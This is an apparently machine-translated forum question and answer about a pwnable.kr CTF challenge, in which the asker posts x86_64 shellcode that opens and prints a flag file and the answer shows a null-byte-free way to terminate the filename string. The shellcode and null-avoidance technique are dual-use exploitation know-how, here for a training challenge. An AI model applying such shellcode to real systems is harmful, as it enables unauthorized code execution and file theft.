2016-12-17 2 views
-1

Ich versuche eine CTF - Aufgabe von pwnable.kr (Kleinkinder Flasche, Asm) zu lösen, in dem ich einen "Shellcode" schreiben muss, der Inhalt der Datei öffnen und lesen wird Flagge).Umgang mit Strings in Shellcode

Mein Code ist wie folgt:

global _start 

section .text 

_start: 
    jmp mesg 
    shellcode: 
    ; open 
    pop rdi ; rdi points to file_name and trash 
    xor rsi, rsi 
    mov al, 2 ; sys_open 
    syscall 

    ; read 
    mov rdi, rax 
    xor rax, rax ; sys_read 
    lea rsi, [rsp] 
    mov dl, 0x20 
    syscall 

    ; write 
    mov dl, al ; bytes read 
    xor rax, rax 
    mov al, 1 ; sys_write 
    mov dil, 1 ; stdout 
    lea rsi, [rsp] 
    syscall 

    ; crash 
    xor ebx, ebx 
    xor eax, eax 
    div ebx 

mesg: 
    call shellcode 
    db "this_is_pwnable.kr_flag_file_please_read_this_file.sorry_the_file_name_is_very_loooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo0000000000000000000000000ooooooooooooooooooooooo000000000000o0o0o0o0o0o0ong", 00 
section .data 

von 0 Aufteilung ist es die Ausführung zu stoppen und vermeiden mit call shellcode

Looping Die lange Zeichenfolge ist der Name der Datei, die die Flagge enthält.

fand ich den Trick mit hier Adresse des Strings in ein Register poping: Linux Shellcode "Hello, World!"

Mein Problem ist: der Name der Datei beendet ist nicht null. Wenn sys_open aufgerufen wird, enthält daher der Dateiname den Abfall nach der tatsächlichen Zeichenfolge.

Ich habe versucht zu tun someting wie:

xor al, al 
mov byte [rdi + 464], al 

nach in rdi popping manuell NULL einzufügen, aber ich kann nicht von NULL von Bytecode (der Shellcode wird von stdin gelesen werden loszuwerden, so dass ein Problem).

Was ist der beste Weg, damit umzugehen?

Architektur: x86_64

Antwort

1

Viele Möglichkeiten, 0 Byte frei Code zu schreiben. Ein Beispiel:

xor eax, eax 
mov al, 116 
mov byte [rdi+rax*4],ah